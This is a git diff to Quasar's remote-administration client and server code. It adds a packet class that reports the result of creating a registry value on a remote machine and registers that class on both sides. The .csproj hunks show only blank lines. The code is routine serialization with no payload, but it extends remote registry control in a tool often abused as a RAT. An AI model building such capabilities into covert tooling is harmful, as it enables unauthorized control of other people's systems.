diff --git a/Client/Client.csproj b/Client/Client.csproj
index ad4464ed..db491b62 100644
--- a/Client/Client.csproj
+++ b/Client/Client.csproj
@@ -95,6 +95,7 @@
+
diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs
index 71849d73..e55d79e5 100644
--- a/Client/Core/Networking/QuasarClient.cs
+++ b/Client/Core/Networking/QuasarClient.cs
@@ -82,6 +82,7 @@ namespace xClient.Core.Networking
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
+ typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
diff --git a/Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs
new file mode 100644
index 00000000..be706de5
--- /dev/null
+++ b/Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs
@@ -0,0 +1,26 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xClient.Core.Networking;
+using xClient.Core.Registry;
+
+namespace xClient.Core.Packets.ClientPackets
+{
+ [Serializable]
+ public class GetCreateRegistryValueResponse : IPacket
+ {
+ public string KeyPath { get; set; }
+ public RegValueData Value { get; set; }
+
+ public bool IsError { get; set; }
+ public string ErrorMsg { get; set; }
+
+ public GetCreateRegistryValueResponse() { }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/Networking/QuasarServer.cs b/Server/Core/Networking/QuasarServer.cs
index 01102573..42d5efa0 100644
--- a/Server/Core/Networking/QuasarServer.cs
+++ b/Server/Core/Networking/QuasarServer.cs
@@ -129,6 +129,7 @@ namespace xServer.Core.Networking
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
+ typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
typeof (ReverseProxy.Packets.ReverseProxyConnect),
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (ReverseProxy.Packets.ReverseProxyData),
diff --git a/Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs
new file mode 100644
index 00000000..773cf0c7
--- /dev/null
+++ b/Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs
@@ -0,0 +1,26 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using xServer.Core.Networking;
+using xServer.Core.Registry;
+
+namespace xServer.Core.Packets.ClientPackets
+{
+ [Serializable]
+ public class GetCreateRegistryValueResponse : IPacket
+ {
+ public string KeyPath { get; set; }
+ public RegValueData Value { get; set; }
+
+ public bool IsError { get; set; }
+ public string ErrorMsg { get; set; }
+
+ public GetCreateRegistryValueResponse() { }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Server.csproj b/Server/Server.csproj
index 66d78c59..e251c3e2 100644
--- a/Server/Server.csproj
+++ b/Server/Server.csproj
@@ -141,6 +141,7 @@
+